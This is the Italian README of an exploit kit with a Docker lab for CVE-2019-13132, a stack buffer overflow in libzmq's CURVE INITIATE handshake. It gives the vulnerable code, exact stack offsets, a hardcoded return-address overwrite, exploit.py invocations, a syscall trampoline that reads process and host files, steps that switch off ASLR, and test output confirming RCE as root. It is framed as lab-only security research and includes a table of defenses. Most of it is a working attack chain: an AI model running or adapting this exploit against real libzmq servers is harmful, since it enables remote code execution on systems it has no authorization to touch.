
CVE-2019-13132 — overflow dello stack di CURVE INITIATE in libzmq → RCE. Exploit funzionante + lab Docker.
Exploit RCE funzionante end-to-end + laboratorio riproducibile per CVE-2019-13132, un overflow di buffer dello stack nel gestore dell'handshake CURVE INITIATE di libzmq. Un attaccante che conosce la chiave pubblica a lungo termine del server (un parametro pubblico per design) può mandare in overflow un buffer di stack di dimensioni fisse in process_initiate(), sovrascrivere l'indirizzo di ritorno salvato e reindirizzare l'esecuzione a codice arbitrario.
Di Nicolas Krassas (@dinosn).
Solo uso in laboratorio. Questo kit include una libzmq 4.3.0 volutamente vulnerabile con le mitigazioni disabilitate. Non esporre la porta 5556 fuori dal laboratorio. Il bug è stato corretto in libzmq 4.3.2.
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
Smoke test automatizzato (esegue l'exploit e verifica il file di prova):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # this file
├── Dockerfile # one-command containerised lab
├── server-curve.c # CURVE REP listener — the vulnerable target
├── exploit.py # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py # build-time offset extraction → build_offsets.json
├── calibrate.sh # runtime calibration → profile.json
├── start_server.sh # start/restart the target
├── run_lab_test.sh # automated end-to-end smoke test
└── entrypoint.sh # Docker entrypoint (ASLR off + server + calibrate)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box è un buffer allocato sullo stack di 416 byte. La memcpy scrive size - 113 byte nella regione payload di 400 byte (offset 16..415). Qualsiasi INITIATE con size > 513 oltrepassa il buffer, raggiungendo i registri del chiamato salvati e l'indirizzo di ritorno.
La verifica del cookie avviene prima dell'overflow, quindi l'INITIATE deve contenere un cookie autentico — ma il cookie si ottiene dal precedente messaggio WELCOME usando solo la chiave pubblica a lungo termine del server.
Il protocollo CURVE è progettato in modo che i client possiedano già la chiave pubblica a lungo termine del server (si trova nell'URI di connessione o nella configurazione). L'exploit:
memcpy vulnerabile scatta.Nessuna credenziale a livello applicativo. Nessun bypass dell'autenticazione ZAP. L'overflow scatta durante lo scambio di chiavi CURVE, prima che l'applicazione veda mai il peer.
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
L'exploit invia 464 byte di payload: 456 byte di riempimento (0x41) per raggiungere l'indirizzo di ritorno, quindi 8 byte contenenti l'indirizzo di lab_trampoline().
Dopo l'overflow, crypto_box_open() fallisce (i dati tracimati sono ciphertext spazzatura). Il percorso di errore registra il fallimento, imposta errno e restituisce -1 — ma il percorso di errore accede solo a posizioni dello stack sotto la regione dell'overflow (RSP+0xe0, RSP+0xf0, RSP+0x280), quindi viene eseguito senza problemi con lo stack corrotto.
L'epilogo della funzione (add $0x628,%rsp; pop rbx-r15; ret) recupera i registri salvati corrotti (ora 0x4141414141414141) e poi ret carica il nostro indirizzo trampoline.
lab_trampoline() usa syscall grezze (niente libc, niente fork()) per scrivere il file di prova:
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
Le syscall grezze vengono usate al posto di system() / fork() perché process_initiate() viene eseguito sul thread I/O di libzmq — chiamare fork() da un thread non principale in un processo multi-thread causa deadlock sui gestori dei lock pthread_atfork di glibc.
La chiave pubblica a lungo termine del server è un parametro pubblico nel protocollo CurveZMQ — i client devono averla per connettersi. Di solito è distribuita tramite file di configurazione, URI o meccanismi di discovery. L'exploit non richiede materiale segreto.
L'exploit richiede due valori:
| campo | valore | origine |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (binario non-PIE, indirizzo fisso) |
offset_to_ret | 456 | disassemblaggio di process_initiate (0x658 - 0x490) |
Entrambi sono hardcoded in exploit.py come valori predefiniti per la build del laboratorio Docker (Debian 12, gcc 12, libzmq 4.3.0). Non serve alcuna fase di calibrazione — basta eseguire l'exploit:
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
Priorità di risoluzione: flag --trampoline/--offset → file --profile → /opt/zmq-curve-rce/profile.json → valori predefiniti.
ZMTP non ha nessuna API di introspezione. Il greeting rivela solo la versione del protocollo (3.x) e il meccanismo (CURVE) — niente sulla build di libzmq, sul compilatore o sul layout del binario. Non esiste un identificatore di build accessibile a runtime che permetterebbe una selezione automatica degli offset contro target sconosciuti.
Gli script calibrate.sh / compute_offsets.py sono forniti per ricompilazioni su distribuzioni o versioni di gcc diverse, dove l'indirizzo del trampoline può cambiare. Nel laboratorio Docker vengono eseguiti automaticamente ma non sono necessari.
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target: 127.0.0.1:5556
[*] trampoline @ 0x0000000000401206
[*] offset to ret: 456 bytes
[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target
--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name: server-curve
...
Uid: 0 0 0 0
...
hostname: caa76cbbc4a4
--- end ---
[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.
| Difesa | Effetto |
|---|---|
| Aggiornare a libzmq >= 4.3.2 | Corretto. Aggiunge un controllo del limite superiore sulla dimensione di INITIATE prima della memcpy. |
Canary di stack (-fstack-protector) | Rileva l'overflow prima che la funzione restituisca. Il canary si trova tra le variabili locali e i registri salvati; l'overflow lo corrompe, attivando __stack_chk_fail. |
| ASLR | Randomizza gli indirizzi delle librerie condivise e dello stack. Il trampoline si trova in un binario non-PIE (indirizzo fisso), ma un server di produzione sarebbe PIE, richiedendo un info leak. |
| PIE | Randomizza l'indirizzo di caricamento del binario del server. L'indirizzo del trampoline non sarebbe più prevedibile senza una leak. |
| NX | Non rilevante qui — non viene iniettato shellcode; l'exploit chiama codice esistente. |
| ZAP / autenticazione a livello applicativo | Non aiuta — l'overflow scatta durante lo scambio di chiavi CURVE, prima che ZAP venga consultato. |
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2 # restore ASLR
Nicolas Krassas — @dinosn
MIT. Il sorgente di libzmq 4.3.0 volutamente vulnerabile viene recuperato al momento della build dal repository upstream con licenza LGPLv3-con-eccezioni / MPLv2.
Solo per ricerca di sicurezza difensiva, istruzione e test di sicurezza autorizzati. Non distribuire la build vulnerabile inclusa al di fuori di un ambiente di laboratorio isolato.